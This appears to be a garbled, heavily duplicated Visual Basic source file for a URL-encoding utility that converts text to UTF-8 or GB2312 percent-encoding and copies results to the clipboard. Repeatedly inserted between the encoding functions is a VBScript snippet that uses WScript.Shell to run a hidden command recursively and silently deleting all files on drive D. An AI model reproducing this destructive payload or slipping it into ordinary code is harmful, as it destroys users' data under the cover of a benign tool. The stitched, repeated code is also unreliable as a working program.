IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

